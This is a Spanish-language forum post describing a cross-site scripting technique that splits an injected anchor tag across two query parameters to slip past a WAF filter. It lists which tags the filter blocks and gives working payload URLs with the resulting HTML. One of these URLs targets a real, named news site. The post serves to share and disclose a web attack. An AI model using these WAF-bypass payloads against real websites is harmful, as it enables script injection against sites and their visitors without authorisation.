Bueno, le he puesto ese nombre a esta técnica porque me recuerda mucho (no sé por qué) al cable backbone que se utiliza para conectar redes internas a un mismo enroutador, de ahí su nombre. No sé si alguien antes se había percatado de esto, pero la red está plagada de cerebritos así que no me extrañaría nada. ¿En qué consiste este tipo de XSS? en realidad es un XSS normal y corriente con la diferencia de que utiliza más de una variable de entrada para inyectar código. Es decir, aprovecha varios campos en los que se inyecta el código html para abrir y cerrar etiquetas y así provocar el XSS. ¿Cuándo es útil? Cuando la página tiene algún tipo de de WAF o medida de protección que filtra determinados caracteres o cadenas de caracteres ya sea por expresiones regulares o no. Para que lo entendáis mejor utilizaré una web REAL que encontré una vez:
http://paginaweb.com/search.php?palabra=<script>alert(0)</script>&language=ES
El WAF detecta que has metido unos caracteres maliciosos y te salta una alerta del tipo: "Has ingresado caracteres prohibidos." Tras probar diversos string, veo que filtra lo toda cadena precedida de "<" seguida de ">" o cualquier catacter alfanumérico de 2 o más bytes de longitud, es decir:
- <script> // Salta el WAF
- <img //Salta el Waf
- <sdfalsdfj> //Salta el WAF
- <iframe src=//Salta el WAF
- <a // NO salta el WAF.
Veamos esta consulta:
http://paginaweb.com/search.php?palabra='Hola">&language=ES
Si miramos el código fuente de la página vemos lo siguiente:
Código
<form action="search.php" method="GET"> <input type="hydden" name="palabra" value="'Hola">"> <input type="hydden" name="language" value="ES"> </form>
Lo que vamos a hacer es aprovechar las variables de entrada "palabra" y "language" para inyectar el XSS:
http://paginaweb.com/search.php?palabra="><a onmouseover=alert(0) href="&language=">PON EL MOUSE AQUÍ</a
Código
<form action="search.php" method="GET"> <input type="hydden" name="palabra" value=""><a onmouseover=alert(0) href=""> <input type="hydden" name="language" value="">PON EL MOUSE AQUÍ</a"> </form>
Y ya tenemos nuestro XSS!
Ejemplo de página vulnerable:
http://www.cope.es/buscador.php5?domains=cope.esa%22%3E%3Ca%20onmouseover=alert%28%27XSS-BY-SH4V%27%29%20href=%22&client=pub-0407161721220178&forid=1&ie=ISO-8859-1&oe=ISO-8859-1&safe=active&cof=GALT%3A%23008000%3BGL%3A1%3BDIV%3A%23336699%3BVLC%3A663399%3BAH%3Acenter%3BBGC%3AFFFFFF%3BLBGC%3A336699%3BALC%3A0000FF%3BLC%3A0000FF%3BT%3A000000%3BGFNT%3A0000FF%3BGIMP%3A0000FF%3BFORID%3A11&hl=es&q=%22%3EPON%20EL%20MOUSE%20AQUI!%3C/a&sa=&sitesearch=cope.es
Código HTML:
Código
<form name="buscador" action="buscador.php5" method="get" target="_top"> <input type="hidden" name="domains" value="cope.esa"><a onmouseover=alert('XSS-BY-SH4V') href="" /> <input type="hidden" name="q" value="">PON EL MOUSE AQUI!</a" /> <input type="hidden" name="sa" value="" /> <input type="hidden" name="sitesearch" value="" /> <input type="hidden" name="client" value="pub-0407161721220178" /> <input type="hidden" name="forid" value="1" /> <input type="hidden" name="ie" value="ISO-8859-1" /> <input type="hidden" name="oe" value="ISO-8859-1" /> <input type="hidden" name="safe" value="active" /> <input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:11" /> <input type="hidden" name="hl" value="es" /> </form>
Creo que ha quedado más o menos claro. Si hay alguna duda decidlo. Espero comentarios!
PS.- SI YA EXISTE NOMBRE PARA ESTA TÉCNICA DECIDLO.
Saludos!